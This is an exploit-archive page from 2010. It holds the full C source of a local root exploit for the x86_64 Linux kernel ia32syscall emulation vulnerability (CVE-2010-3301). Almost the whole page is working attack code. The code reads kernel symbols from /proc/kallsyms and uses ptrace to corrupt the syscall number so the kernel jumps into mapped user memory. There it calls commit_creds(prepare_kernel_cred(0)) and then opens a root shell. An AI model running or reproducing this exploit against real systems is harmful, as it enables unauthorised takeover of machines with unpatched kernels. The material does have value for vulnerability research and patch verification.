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Linux Kernel ia32syscall Emulation Local Root

Linux Kernel ia32syscall Emulation Local Root
Posted Sep 16, 2010
Authored by Venglin, Wojciech Purczynski, Robert Swiecki, Pawel Pisarczyk, Ben Hawkes

Local root exploit for the x86_64 Linux kernel ia32syscall emulation vulnerability. This is a variant of a vulnerability found back in 2007.

tags | exploit, kernel, local, root
systems | linux
advisories | CVE-2007-4573, CVE-2010-3301
SHA-256 | a975a5a7e9e7bdcda51544b9df0e5c25b8e47ff9127f4b0b85f74f3553538ba9

Linux Kernel ia32syscall Emulation Local Root

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/*
* exploit for x86_64 linux kernel ia32syscall emulation (again)
* rediscovered by ben hawkes
* with help from robert swiecki and tavis ormandy
*
* original vulnerability discovered by Wojciech Purczynski
*
* original exploit by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
*
* kernel priv escalation code borrowed from spender
*
*/

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}

while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);

return 0;
}


static void docall(uint64_t *ptr, uint64_t size)
{
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}

prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}

uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

printf("mapping at %lx\n", tmp);

if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}

for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;

__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");

printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", NULL);
printf("no /bin/sh ??\n");
exit(0);
}

int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;

if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}

if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}

if (pid == -1) {
printf("fork fault\n");
exit(1);
}

for (;;) {
if (wait(&status) != pid)
continue;

if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}

if (!WIFSTOPPED(status))
continue;

if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n", WSTOPSIG(status));
break;
}

rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
}

if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}

if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}

return 0;
}
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